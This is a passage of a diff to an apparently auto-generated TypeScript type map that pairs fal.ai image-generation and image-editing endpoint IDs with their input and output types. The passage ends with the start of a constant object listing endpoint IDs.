/** + * @description Input model for Remove Lighting endpoint - Remove existing lighting and apply soft even lighting + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryRemoveLighting + output: OutputFalAiQwenImageEdit2509LoraGalleryRemoveLighting + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design': { + /** + * @description Input model for Shirt Design endpoint - Put designs/graphics on people's shirts + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryShirtDesign + output: OutputFalAiQwenImageEdit2509LoraGalleryShirtDesign + } + 'fal-ai/qwen-image-edit-2511': { + input: InputFalAiQwenImageEdit2511 + output: OutputFalAiQwenImageEdit2511 + } + 'fal-ai/qwen-image-edit-2511-multiple-angles': { + /** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments using trigger word. + * Prompt is built automatically from slider values. + * @type object + */ + input: InputFalAiQwenImageEdit2511MultipleAngles + /** + * @description Output model for Multiple Angles endpoint + * @type object + */ + output: OutputFalAiQwenImageEdit2511MultipleAngles + } + 'fal-ai/qwen-image-edit-2511/lora': { + input: InputFalAiQwenImageEdit2511Lora + output: OutputFalAiQwenImageEdit2511Lora + } + 'fal-ai/qwen-image-edit-lora': { + input: InputFalAiQwenImageEditLora + output: OutputFalAiQwenImageEditLora + } + 'fal-ai/qwen-image-edit-plus': { + input: InputFalAiQwenImageEditPlus + output: OutputFalAiQwenImageEditPlus + } + 'fal-ai/qwen-image-edit-plus-lora': { + input: InputFalAiQwenImageEditPlusLora + output: OutputFalAiQwenImageEditPlusLora + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background': { + /** + * @description Input model for Add Background endpoint - Remove white background and add a realistic scene + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryAddBackground + output: OutputFalAiQwenImageEditPlusLoraGalleryAddBackground + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait': { + /** + * @description Input model for Face to Full Portrait endpoint - Generate full portrait from a cropped face image + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortrait + output: OutputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortrait + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo': { + /** + * @description Input model for Group Photo endpoint - Create composite group photos with vintage/retro style + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryGroupPhoto + output: OutputFalAiQwenImageEditPlusLoraGalleryGroupPhoto + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product': { + /** + * @description Input model for Integrate Product endpoint - Blend and integrate products/elements into backgrounds + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryIntegrateProduct + output: OutputFalAiQwenImageEditPlusLoraGalleryIntegrateProduct + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration': { + /** + * @description Input model for Lighting Restoration endpoint - Restore natural lighting by removing harsh shadows and light spots + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryLightingRestoration + output: OutputFalAiQwenImageEditPlusLoraGalleryLightingRestoration + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles': { + /** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryMultipleAngles + output: OutputFalAiQwenImageEditPlusLoraGalleryMultipleAngles + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene': { + /** + * @description Input model for Next Scene endpoint - Create cinematic shot progressions and scene transitions + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryNextScene + output: OutputFalAiQwenImageEditPlusLoraGalleryNextScene + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element': { + /** + * @description Input model for Remove Element endpoint - Remove/delete elements (objects, people, text) from the image + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryRemoveElement + output: OutputFalAiQwenImageEditPlusLoraGalleryRemoveElement + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting': { + /** + * @description Input model for Remove Lighting endpoint - Remove existing lighting and apply soft even lighting + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryRemoveLighting + output: OutputFalAiQwenImageEditPlusLoraGalleryRemoveLighting + } + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design': { + /** + * @description Input model for Shirt Design endpoint - Put designs/graphics on people's shirts + * @type object + */ + input: InputFalAiQwenImageEditPlusLoraGalleryShirtDesign + output: OutputFalAiQwenImageEditPlusLoraGalleryShirtDesign + } + 'fal-ai/qwen-image-edit/image-to-image': { + input: InputFalAiQwenImageEditImageToImage + output: OutputFalAiQwenImageEditImageToImage + } + 'fal-ai/qwen-image-edit/inpaint': { + input: InputFalAiQwenImageEditInpaint + output: OutputFalAiQwenImageEditInpaint + } + 'fal-ai/qwen-image-layered': { + input: InputFalAiQwenImageLayered + output: OutputFalAiQwenImageLayered + } + 'fal-ai/qwen-image-layered/lora': { + input: InputFalAiQwenImageLayeredLora + output: OutputFalAiQwenImageLayeredLora + } + 'fal-ai/qwen-image/image-to-image': { + input: InputFalAiQwenImageImageToImage + output: OutputFalAiQwenImageImageToImage + } + 'fal-ai/recraft-20b': { + input: InputFalAiRecraft20B + output: OutputFalAiRecraft20B + } + 'fal-ai/recraft/upscale/creative': { + input: InputFalAiRecraftUpscaleCreative + output: OutputFalAiRecraftUpscaleCreative + } + 'fal-ai/recraft/upscale/crisp': { + input: InputFalAiRecraftUpscaleCrisp + output: OutputFalAiRecraftUpscaleCrisp + } + 'fal-ai/recraft/v3/image-to-image': { + input: InputFalAiRecraftV3ImageToImage + output: OutputFalAiRecraftV3ImageToImage + } + 'fal-ai/recraft/v3/text-to-image': { + input: InputFalAiRecraftV3TextToImage + output: OutputFalAiRecraftV3TextToImage + } + 'fal-ai/recraft/v4.1/pro/text-to-image': { + input: InputFalAiRecraftV41ProTextToImage + output: OutputFalAiRecraftV41ProTextToImage + } + 'fal-ai/recraft/v4.1/pro/text-to-vector': { + input: InputFalAiRecraftV41ProTextToVector + output: OutputFalAiRecraftV41ProTextToVector + } + 'fal-ai/recraft/v4.1/text-to-image': { + input: InputFalAiRecraftV41TextToImage + output: OutputFalAiRecraftV41TextToImage + } + 'fal-ai/recraft/v4.1/text-to-vector': { + input: InputFalAiRecraftV41TextToVector + output: OutputFalAiRecraftV41TextToVector + } + 'fal-ai/recraft/v4.1/utility/pro/text-to-image': { + input: InputFalAiRecraftV41UtilityProTextToImage + output: OutputFalAiRecraftV41UtilityProTextToImage + } + 'fal-ai/recraft/v4.1/utility/text-to-image': { + input: InputFalAiRecraftV41UtilityTextToImage + output: OutputFalAiRecraftV41UtilityTextToImage + } + 'fal-ai/recraft/v4/pro/text-to-image': { + input: InputFalAiRecraftV4ProTextToImage + output: OutputFalAiRecraftV4ProTextToImage + } + 'fal-ai/recraft/v4/pro/text-to-vector': { + input: InputFalAiRecraftV4ProTextToVector + output: OutputFalAiRecraftV4ProTextToVector + } + 'fal-ai/recraft/v4/text-to-image': { + input: InputFalAiRecraftV4TextToImage + output: OutputFalAiRecraftV4TextToImage + } + 'fal-ai/recraft/v4/text-to-vector': { + input: InputFalAiRecraftV4TextToVector + output: OutputFalAiRecraftV4TextToVector + } + 'fal-ai/recraft/vectorize': { + input: InputFalAiRecraftVectorize + output: OutputFalAiRecraftVectorize + } + 'fal-ai/retoucher': { + input: InputFalAiRetoucher + output: OutputFalAiRetoucher + } + 'fal-ai/rife': { + input: InputFalAiRife + output: OutputFalAiRife + } + 'fal-ai/sam-3-1/image': { + input: InputFalAiSam31Image + output: OutputFalAiSam31Image + } + 'fal-ai/sam-3-1/image-rle': { + input: InputFalAiSam31ImageRle + output: OutputFalAiSam31ImageRle + } + 'fal-ai/sam-3/image': { + input: InputFalAiSam3Image + output: OutputFalAiSam3Image + } + 'fal-ai/sam-3/image-rle': { + input: InputFalAiSam3ImageRle + output: OutputFalAiSam3ImageRle + } + 'fal-ai/sam2/auto-segment': { + input: InputFalAiSam2AutoSegment + output: OutputFalAiSam2AutoSegment + } + 'fal-ai/sam2/image': { + input: InputFalAiSam2Image + output: OutputFalAiSam2Image + } + 'fal-ai/sana': { + input: InputFalAiSana + output: OutputFalAiSana + } + 'fal-ai/sana/sprint': { + input: InputFalAiSanaSprint + output: OutputFalAiSanaSprint + } + 'fal-ai/sana/v1.5/1.6b': { + input: InputFalAiSanaV1516B + output: OutputFalAiSanaV1516B + } + 'fal-ai/sana/v1.5/4.8b': { + input: InputFalAiSanaV1548B + output: OutputFalAiSanaV1548B + } + 'fal-ai/sdxl-controlnet-union': { + input: InputFalAiSdxlControlnetUnion + output: OutputFalAiSdxlControlnetUnion + } + 'fal-ai/sdxl-controlnet-union/image-to-image': { + input: InputFalAiSdxlControlnetUnionImageToImage + output: OutputFalAiSdxlControlnetUnionImageToImage + } + 'fal-ai/sdxl-controlnet-union/inpainting': { + input: InputFalAiSdxlControlnetUnionInpainting + output: OutputFalAiSdxlControlnetUnionInpainting + } + 'fal-ai/seedvr/upscale/image': { + input: InputFalAiSeedvrUpscaleImage + output: OutputFalAiSeedvrUpscaleImage + } + 'fal-ai/seedvr/upscale/image/seamless': { + /** + * @description Input for seamless tileable image upscaling. + * @type object + */ + input: InputFalAiSeedvrUpscaleImageSeamless + output: OutputFalAiSeedvrUpscaleImageSeamless + } + 'fal-ai/smart-resize': { + input: InputFalAiSmartResize + output: OutputFalAiSmartResize + } + 'fal-ai/stable-diffusion-v15': { + input: InputFalAiStableDiffusionV15 + output: OutputFalAiStableDiffusionV15 + } + 'fal-ai/stable-diffusion-v3-medium': { + input: InputFalAiStableDiffusionV3Medium + output: OutputFalAiStableDiffusionV3Medium + } + 'fal-ai/stable-diffusion-v3-medium/image-to-image': { + input: InputFalAiStableDiffusionV3MediumImageToImage + output: OutputFalAiStableDiffusionV3MediumImageToImage + } + 'fal-ai/stable-diffusion-v35-large': { + input: InputFalAiStableDiffusionV35Large + output: OutputFalAiStableDiffusionV35Large + } + 'fal-ai/stable-diffusion-v35-medium': { + input: InputFalAiStableDiffusionV35Medium + output: OutputFalAiStableDiffusionV35Medium + } + 'fal-ai/stepx-edit2': { + input: InputFalAiStepxEdit2 + output: OutputFalAiStepxEdit2 + } + 'fal-ai/telestyle-v2': { + input: InputFalAiTelestyleV2 + output: OutputFalAiTelestyleV2 + } + 'fal-ai/uso': { + input: InputFalAiUso + output: OutputFalAiUso + } + 'fal-ai/vidu/q2/reference-to-image': { + input: InputFalAiViduQ2ReferenceToImage + output: OutputFalAiViduQ2ReferenceToImage + } + 'fal-ai/vidu/q2/text-to-image': { + input: InputFalAiViduQ2TextToImage + output: OutputFalAiViduQ2TextToImage + } + 'fal-ai/vidu/reference-to-image': { + input: InputFalAiViduReferenceToImage + output: OutputFalAiViduReferenceToImage + } + 'fal-ai/wan-25-preview/image-to-image': { + /** + * @description Input for image editing + * @type object + */ + input: InputFalAiWan25PreviewImageToImage + /** + * @description Output for image editing + * @type object + */ + output: OutputFalAiWan25PreviewImageToImage + } + 'fal-ai/wan-25-preview/text-to-image': { + /** + * @description Input for text-to-image generation + * @type object + */ + input: InputFalAiWan25PreviewTextToImage + /** + * @description Output for text-to-image generation + * @type object + */ + output: OutputFalAiWan25PreviewTextToImage + } + 'fal-ai/wan/v2.2-5b/text-to-image': { + input: InputFalAiWanV225BTextToImage + output: OutputFalAiWanV225BTextToImage + } + 'fal-ai/wan/v2.2-a14b/image-to-image': { + input: InputFalAiWanV22A14BImageToImage + output: OutputFalAiWanV22A14BImageToImage + } + 'fal-ai/wan/v2.2-a14b/text-to-image': { + input: InputFalAiWanV22A14BTextToImage + output: OutputFalAiWanV22A14BTextToImage + } + 'fal-ai/wan/v2.2-a14b/text-to-image/lora': { + input: InputFalAiWanV22A14BTextToImageLora + output: OutputFalAiWanV22A14BTextToImageLora + } + 'fal-ai/wan/v2.7/edit': { + input: InputFalAiWanV27Edit + output: OutputFalAiWanV27Edit + } + 'fal-ai/wan/v2.7/pro/edit': { + input: InputFalAiWanV27ProEdit + output: OutputFalAiWanV27ProEdit + } + 'fal-ai/wan/v2.7/pro/text-to-image': { + input: InputFalAiWanV27ProTextToImage + output: OutputFalAiWanV27ProTextToImage + } + 'fal-ai/wan/v2.7/text-to-image': { + input: InputFalAiWanV27TextToImage + output: OutputFalAiWanV27TextToImage + } + 'fal-ai/workflow-utilities/extract-nth-frame': { + /** + * @description Input model for extracting every Nth frame from a video + * @type object + */ + input: InputFalAiWorkflowUtilitiesExtractNthFrame + /** + * @description Output model for extracted frames + * @type object + */ + output: OutputFalAiWorkflowUtilitiesExtractNthFrame + } + 'fal-ai/z-image/base': { + input: InputFalAiZImageBase + output: OutputFalAiZImageBase + } + 'fal-ai/z-image/base/lora': { + input: InputFalAiZImageBaseLora + output: OutputFalAiZImageBaseLora + } + 'fal-ai/z-image/turbo': { + input: InputFalAiZImageTurbo + output: OutputFalAiZImageTurbo + } + 'fal-ai/z-image/turbo/controlnet': { + input: InputFalAiZImageTurboControlnet + output: OutputFalAiZImageTurboControlnet + } + 'fal-ai/z-image/turbo/controlnet/lora': { + input: InputFalAiZImageTurboControlnetLora + output: OutputFalAiZImageTurboControlnetLora + } + 'fal-ai/z-image/turbo/image-to-image': { + input: InputFalAiZImageTurboImageToImage + output: OutputFalAiZImageTurboImageToImage + } + 'fal-ai/z-image/turbo/image-to-image/lora': { + input: InputFalAiZImageTurboImageToImageLora + output: OutputFalAiZImageTurboImageToImageLora + } + 'fal-ai/z-image/turbo/inpaint': { + input: InputFalAiZImageTurboInpaint + output: OutputFalAiZImageTurboInpaint + } + 'fal-ai/z-image/turbo/inpaint/lora': { + input: InputFalAiZImageTurboInpaintLora + output: OutputFalAiZImageTurboInpaintLora + } + 'fal-ai/z-image/turbo/lora': { + input: InputFalAiZImageTurboLora + output: OutputFalAiZImageTurboLora + } + 'fal-ai/z-image/turbo/tiling': { + input: InputFalAiZImageTurboTiling + output: OutputFalAiZImageTurboTiling + } + 'fal-ai/z-image/turbo/tiling/lora': { + input: InputFalAiZImageTurboTilingLora + output: OutputFalAiZImageTurboTilingLora + } + 'google/nano-banana-2-lite': { + input: InputGoogleNanoBanana2Lite + output: OutputGoogleNanoBanana2Lite + } + 'google/nano-banana-2.1': { + input: InputGoogleNanoBanana21 + output: OutputGoogleNanoBanana21 + } + 'google/nano-banana-2.1/edit': { + input: InputGoogleNanoBanana21Edit + output: OutputGoogleNanoBanana21Edit + } + 'google/nano-banana-lite': { + input: InputGoogleNanoBananaLite + output: OutputGoogleNanoBananaLite + } + 'google/nano-banana-lite/edit': { + input: InputGoogleNanoBananaLiteEdit + output: OutputGoogleNanoBananaLiteEdit + } + 'google/virtual-try-on': { + input: InputGoogleVirtualTryOn + output: OutputGoogleVirtualTryOn + } + 'hitem3d/hi3d/image-to-relief': { + /** + * @description Input for image-to-relief (depth map) generation. + * @type object + */ + input: InputHitem3DHi3DImageToRelief + /** + * @description Output of the image-to-relief endpoint. + * @type object + */ + output: OutputHitem3DHi3DImageToRelief + } + 'ideogram/v4': { + input: InputIdeogramV4 + output: OutputIdeogramV4 + } + 'ideogram/v4.5': { + input: InputIdeogramV45 + output: OutputIdeogramV45 + } + 'ideogram/v4.5/edit': { + input: InputIdeogramV45Edit + output: OutputIdeogramV45Edit + } + 'ideogram/v4/fast': { + input: InputIdeogramV4Fast + output: OutputIdeogramV4Fast + } + 'ideogram/v4/image-to-image': { + input: InputIdeogramV4ImageToImage + output: OutputIdeogramV4ImageToImage + } + 'ideogram/v4/image-to-image/lora': { + input: InputIdeogramV4ImageToImageLora + output: OutputIdeogramV4ImageToImageLora + } + 'ideogram/v4/instant': { + input: InputIdeogramV4Instant + output: OutputIdeogramV4Instant + } + 'ideogram/v4/lora': { + input: InputIdeogramV4Lora + output: OutputIdeogramV4Lora + } + 'ideogram/v4/tiling': { + input: InputIdeogramV4Tiling + output: OutputIdeogramV4Tiling + } + 'ideogram/v4/tiling/lora': { + input: InputIdeogramV4TilingLora + output: OutputIdeogramV4TilingLora + } + 'ideogram/vector/image-to-vector': { + input: InputIdeogramVectorImageToVector + output: OutputIdeogramVectorImageToVector + } + 'ideogram/vector/text-to-vector': { + input: InputIdeogramVectorTextToVector + output: OutputIdeogramVectorTextToVector + } + 'krea/v2/large/text-to-image': { + /** + * @description Input for Krea-2 Large image generation. + * @type object + */ + input: InputKreaV2LargeTextToImage + output: OutputKreaV2LargeTextToImage + } + 'krea/v2/medium/text-to-image': { + /** + * @description Input for Krea-2 Medium image generation. + * @type object + */ + input: InputKreaV2MediumTextToImage + output: OutputKreaV2MediumTextToImage + } + 'krea/v2/medium/turbo/text-to-image': { + /** + * @description Input for Krea-2 Medium Turbo image generation. + * + * Reuses the shared krea-2 input surface so the turbo variant stays in + * lockstep with the medium/large endpoints. Krea documents a ``low`` default + * creativity for the turbo model, but we keep the family-wide ``medium`` + * default for a consistent API across all krea-2 endpoints; callers who want + * Krea's turbo default can pass ``creativity="low"`` explicitly. + * @type object + */ + input: InputKreaV2MediumTurboTextToImage + output: OutputKreaV2MediumTurboTextToImage + } + 'krea/v3/edit': { + input: InputKreaV3Edit + output: OutputKreaV3Edit + } + 'krea/v3/realtime': { + input: InputKreaV3Realtime + output: OutputKreaV3Realtime + } + 'krea/v3/text-to-image': { + input: InputKreaV3TextToImage + output: OutputKreaV3TextToImage + } + 'luma/agent/uni-1/v1/edit': { + input: InputLumaAgentUni1V1Edit + output: OutputLumaAgentUni1V1Edit + } + 'luma/agent/uni-1/v1/max': { + input: InputLumaAgentUni1V1Max + output: OutputLumaAgentUni1V1Max + } + 'luma/agent/uni-1/v1/max/edit': { + input: InputLumaAgentUni1V1MaxEdit + output: OutputLumaAgentUni1V1MaxEdit + } + 'luma/agent/uni-1/v1/text-to-image': { + input: InputLumaAgentUni1V1TextToImage + output: OutputLumaAgentUni1V1TextToImage + } + 'meta/muse-image/edit': { + input: InputMetaMuseImageEdit + output: OutputMetaMuseImageEdit + } + 'meta/muse-image/text-to-image': { + input: InputMetaMuseImageTextToImage + output: OutputMetaMuseImageTextToImage + } + 'microsoft/mai-image-2.5': { + input: InputMicrosoftMaiImage25 + output: OutputMicrosoftMaiImage25 + } + 'microsoft/mai-image-2.5-pro': { + input: InputMicrosoftMaiImage25Pro + output: OutputMicrosoftMaiImage25Pro + } + 'microsoft/mai-image-2.5-pro/edit': { + input: InputMicrosoftMaiImage25ProEdit + output: OutputMicrosoftMaiImage25ProEdit + } + 'microsoft/mai-image-2.5/edit': { + input: InputMicrosoftMaiImage25Edit + output: OutputMicrosoftMaiImage25Edit + } + 'nvidia/cosmos-3-super/text-to-image': { + input: InputNvidiaCosmos3SuperTextToImage + output: OutputNvidiaCosmos3SuperTextToImage + } + 'openai/gpt-image-2': { + input: InputOpenaiGptImage2 + output: OutputOpenaiGptImage2 + } + 'openai/gpt-image-2.5/flare/edit': { + /** + * @description GPT Image 2.5 edit inputs with model-specific quality and compression. + * @type object + */ + input: InputOpenaiGptImage25FlareEdit + output: OutputOpenaiGptImage25FlareEdit + } + 'openai/gpt-image-2.5/flare/text-to-image': { + /** + * @description GPT Image 2.5 generation inputs, kept separate from GPT Image 2. + * @type object + */ + input: InputOpenaiGptImage25FlareTextToImage + output: OutputOpenaiGptImage25FlareTextToImage + } + 'openai/gpt-image-2.5/sunburst/edit': { + /** + * @description GPT Image 2.5 edit inputs with model-specific quality and compression. + * @type object + */ + input: InputOpenaiGptImage25SunburstEdit + output: OutputOpenaiGptImage25SunburstEdit + } + 'openai/gpt-image-2.5/sunburst/text-to-image': { + /** + * @description GPT Image 2.5 generation inputs, kept separate from GPT Image 2. + * @type object + */ + input: InputOpenaiGptImage25SunburstTextToImage + output: OutputOpenaiGptImage25SunburstTextToImage + } + 'openai/gpt-image-2.6/flare/edit': { + /** + * @description GPT Image 2.6 edit inputs with model-specific quality and compression. + * @type object + */ + input: InputOpenaiGptImage26FlareEdit + output: OutputOpenaiGptImage26FlareEdit + } + 'openai/gpt-image-2.6/flare/text-to-image': { + /** + * @description GPT Image 2.6 generation inputs. + * @type object + */ + input: InputOpenaiGptImage26FlareTextToImage + output: OutputOpenaiGptImage26FlareTextToImage + } + 'openai/gpt-image-2.6/sunburst/edit': { + /** + * @description GPT Image 2.6 edit inputs with model-specific quality and compression. + * @type object + */ + input: InputOpenaiGptImage26SunburstEdit + output: OutputOpenaiGptImage26SunburstEdit + } + 'openai/gpt-image-2.6/sunburst/text-to-image': { + /** + * @description GPT Image 2.6 generation inputs. + * @type object + */ + input: InputOpenaiGptImage26SunburstTextToImage + output: OutputOpenaiGptImage26SunburstTextToImage + } + 'openai/gpt-image-2/edit': { + input: InputOpenaiGptImage2Edit + output: OutputOpenaiGptImage2Edit + } + 'pixelcut/background-removal': { + input: InputPixelcutBackgroundRemoval + output: OutputPixelcutBackgroundRemoval + } + 'pixelcut/product-photo': { + input: InputPixelcutProductPhoto + output: OutputPixelcutProductPhoto + } + 'recraft/v4.1/flash/text-to-image': { + input: InputRecraftV41FlashTextToImage + output: OutputRecraftV41FlashTextToImage + } + 'recraft/v4/style/pro/text-to-image': { + input: InputRecraftV4StyleProTextToImage + output: OutputRecraftV4StyleProTextToImage + } + 'recraft/v4/style/pro/text-to-vector': { + input: InputRecraftV4StyleProTextToVector + output: OutputRecraftV4StyleProTextToVector + } + 'recraft/v4/style/text-to-image': { + input: InputRecraftV4StyleTextToImage + output: OutputRecraftV4StyleTextToImage + } + 'recraft/v4/style/text-to-vector': { + input: InputRecraftV4StyleTextToVector + output: OutputRecraftV4StyleTextToVector + } + 'rundiffusion-fal/juggernaut-flux/base': { + input: InputRundiffusionFalJuggernautFluxBase + output: OutputRundiffusionFalJuggernautFluxBase + } + 'rundiffusion-fal/juggernaut-flux/base/image-to-image': { + input: InputRundiffusionFalJuggernautFluxBaseImageToImage + output: OutputRundiffusionFalJuggernautFluxBaseImageToImage + } + 'rundiffusion-fal/juggernaut-flux/lightning': { + input: InputRundiffusionFalJuggernautFluxLightning + output: OutputRundiffusionFalJuggernautFluxLightning + } + 'rundiffusion-fal/juggernaut-flux/pro': { + input: InputRundiffusionFalJuggernautFluxPro + output: OutputRundiffusionFalJuggernautFluxPro + } + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image': { + input: InputRundiffusionFalJuggernautFluxProImageToImage + output: OutputRundiffusionFalJuggernautFluxProImageToImage + } + 'rundiffusion-fal/rundiffusion-photo-flux': { + input: InputRundiffusionFalRundiffusionPhotoFlux + output: OutputRundiffusionFalRundiffusionPhotoFlux + } + 'smoretalk-ai/rembg-enhance': { + input: InputSmoretalkAiRembgEnhance + output: OutputSmoretalkAiRembgEnhance + } + 'topaz/adjust/image': { + input: InputTopazAdjustImage + output: OutputTopazAdjustImage + } + 'topaz/denoise/image': { + input: InputTopazDenoiseImage + output: OutputTopazDenoiseImage + } + 'topaz/restore/image': { + input: InputTopazRestoreImage + output: OutputTopazRestoreImage + } + 'topaz/sharpen/image': { + input: InputTopazSharpenImage + output: OutputTopazSharpenImage + } + 'topaz/upscale/image/creative': { + input: InputTopazUpscaleImageCreative + output: OutputTopazUpscaleImageCreative + } + 'topaz/upscale/image/generative': { + input: InputTopazUpscaleImageGenerative + output: OutputTopazUpscaleImageGenerative + } + 'topaz/upscale/image/precision': { + input: InputTopazUpscaleImagePrecision + output: OutputTopazUpscaleImagePrecision + } + 'topaz/upscale/image/transparent': { + input: InputTopazUpscaleImageTransparent + output: OutputTopazUpscaleImageTransparent + } + 'wan/v2.6/image-to-image': { + /** + * @description Input for Wan 2.6 image editing with reference images (enable_interleave=false) + * @type object + */ + input: InputWanV26ImageToImage + /** + * @description Output for Wan 2.6 image editing + * @type object + */ + output: OutputWanV26ImageToImage + } + 'wan/v2.6/text-to-image': { + /** + * @description Input for Wan 2.6 text-to-image or mixed text-and-image generation (enable_interleave=true) + * @type object + */ + input: InputWanV26TextToImage + /** + * @description Output for Wan 2.6 text-to-image (can include generated text in mixed mode) + * @type object + */ + output: OutputWanV26TextToImage + } + 'xai/grok-imagine-image': { + input: InputXaiGrokImagineImage + output: OutputXaiGrokImagineImage + } + 'xai/grok-imagine-image/edit': { + input: InputXaiGrokImagineImageEdit + output: OutputXaiGrokImagineImageEdit + } + 'xai/grok-imagine-image/quality/edit': { + input: InputXaiGrokImagineImageQualityEdit + output: OutputXaiGrokImagineImageQualityEdit + } + 'xai/grok-imagine-image/quality/text-to-image': { + input: InputXaiGrokImagineImageQualityTextToImage + output: OutputXaiGrokImagineImageQualityTextToImage + } + 'xai/grok-imagine-image/v2.0/edit': { + input: InputXaiGrokImagineImageV20Edit + output: OutputXaiGrokImagineImageV20Edit + } + 'xai/grok-imagine-image/v2.0/text-to-image': { + input: InputXaiGrokImagineImageV20TextToImage + output: OutputXaiGrokImagineImageV20TextToImage + } +} + +export const falPostEndpointIdEndpointId = { + 'alibaba/qwen-image-3/edit': 'alibaba/qwen-image-3/edit', + 'alibaba/qwen-image-3/text-to-image': 'alibaba/qwen-image-3/text-to-image', + 'blackforestlabs/flux-3/edit-image': 'blackforestlabs/flux-3/edit-image', + 'blackforestlabs/flux-3/klein/base/edit-image/lora': + 'blackforestlabs/flux-3/klein/base/edit-image/lora', + 'blackforestlabs/flux-3/klein/base/text-to-image/lora': + 'blackforestlabs/flux-3/klein/base/text-to-image/lora', + 'blackforestlabs/flux-3/klein/edit-image': + 'blackforestlabs/flux-3/klein/edit-image', + 'blackforestlabs/flux-3/klein/edit-image/lora': + 'blackforestlabs/flux-3/klein/edit-image/lora', + 'blackforestlabs/flux-3/klein/text-to-image': + 'blackforestlabs/flux-3/klein/text-to-image', + 'blackforestlabs/flux-3/klein/text-to-image/lora': + 'blackforestlabs/flux-3/klein/text-to-image/lora', + 'blackforestlabs/flux-3/text-to-image': + 'blackforestlabs/flux-3/text-to-image', + 'bria/embed-product': 'bria/embed-product', + 'bria/extract-object': 'bria/extract-object', + 'bria/fibo-2/edit': 'bria/fibo-2/edit', + 'bria/fibo-2/generate': 'bria/fibo-2/generate', + 'bria/fibo-bbq-preview/generate': 'bria/fibo-bbq-preview/generate', + 'bria/fibo-edit-1.5/edit': 'bria/fibo-edit-1.5/edit', + 'bria/fibo-edit-1.5/expand': 'bria/fibo-edit-1.5/expand', + 'bria/fibo-edit-1.5/product-holding': 'bria/fibo-edit-1.5/product-holding', + 'bria/fibo-edit-1.5/virtual-try-on': 'bria/fibo-edit-1.5/virtual-try-on', + 'bria/fibo-edit/add_object_by_text': 'bria/fibo-edit/add_object_by_text', + 'bria/fibo-edit/blend': 'bria/fibo-edit/blend', + 'bria/fibo-edit/colorize': 'bria/fibo-edit/colorize', + 'bria/fibo-edit/edit': 'bria/fibo-edit/edit', + 'bria/fibo-edit/erase_by_text': 'bria/fibo-edit/erase_by_text', + 'bria/fibo-edit/relight': 'bria/fibo-edit/relight', + 'bria/fibo-edit/replace_object_by_text': + 'bria/fibo-edit/replace_object_by_text', + 'bria/fibo-edit/reseason': 'bria/fibo-edit/reseason', + 'bria/fibo-edit/restore': 'bria/fibo-edit/restore', + 'bria/fibo-edit/restyle': 'bria/fibo-edit/restyle', + 'bria/fibo-edit/rewrite_text': 'bria/fibo-edit/rewrite_text', + 'bria/fibo-edit/sketch_to_colored_image': + 'bria/fibo-edit/sketch_to_colored_image', + 'bria/fibo-gen-1.5/text-to-image': 'bria/fibo-gen-1.5/text-to-image', + 'bria/fibo-lite/generate': 'bria/fibo-lite/generate', + 'bria/fibo/generate': 'bria/fibo/generate', + 'bria/genfill/v2': 'bria/genfill/v2', + 'bria/guided-remove-background': 'bria/guided-remove-background', + 'bria/increase-resolution': 'bria/increase-resolution', + 'bria/product-dimensions': 'bria/product-dimensions', + 'bria/replace-background': 'bria/replace-background', + 'bria/upscale/creative': 'bria/upscale/creative', + 'bytedance/seedream/v5/flash/edit': 'bytedance/seedream/v5/flash/edit', + 'bytedance/seedream/v5/flash/layerize': + 'bytedance/seedream/v5/flash/layerize', + 'bytedance/seedream/v5/flash/text-to-image': + 'bytedance/seedream/v5/flash/text-to-image', + 'bytedance/seedream/v5/lite/edit': 'bytedance/seedream/v5/lite/edit', + 'bytedance/seedream/v5/lite/text-to-image': + 'bytedance/seedream/v5/lite/text-to-image', + 'bytedance/seedream/v5/pro/edit': 'bytedance/seedream/v5/pro/edit', + 'bytedance/seedream/v5/pro/layerize': 'bytedance/seedream/v5/pro/layerize', + 'bytedance/seedream/v5/pro/text-to-image': + 'bytedance/seedream/v5/pro/text-to-image', + 'clarityai/crystal-upscaler': 'clarityai/crystal-upscaler', + 'fal-ai/aura-sr': 'fal-ai/aura-sr', + 'fal-ai/bagel': 'fal-ai/bagel', + 'fal-ai/bagel/edit': 'fal-ai/bagel/edit', + 'fal-ai/ben/v2/image': 'fal-ai/ben/v2/image', + 'fal-ai/birefnet': 'fal-ai/birefnet', + 'fal-ai/birefnet/v2': 'fal-ai/birefnet/v2', + 'fal-ai/boogu-image': 'fal-ai/boogu-image', + 'fal-ai/boogu-image/edit': 'fal-ai/boogu-image/edit', + 'fal-ai/bria/background/remove': 'fal-ai/bria/background/remove', + 'fal-ai/bria/background/replace': 'fal-ai/bria/background/replace', + 'fal-ai/bria/eraser': 'fal-ai/bria/eraser', + 'fal-ai/bria/expand': 'fal-ai/bria/expand', + 'fal-ai/bria/genfill': 'fal-ai/bria/genfill', + 'fal-ai/bria/product-shot': 'fal-ai/bria/product-shot', + 'fal-ai/bria/reimagine': 'fal-ai/bria/reimagine', + 'fal-ai/bria/text-to-image/base': 'fal-ai/bria/text-to-image/base', + 'fal-ai/bria/text-to-image/fast': 'fal-ai/bria/text-to-image/fast', + 'fal-ai/bria/text-to-image/hd': 'fal-ai/bria/text-to-image/hd', + 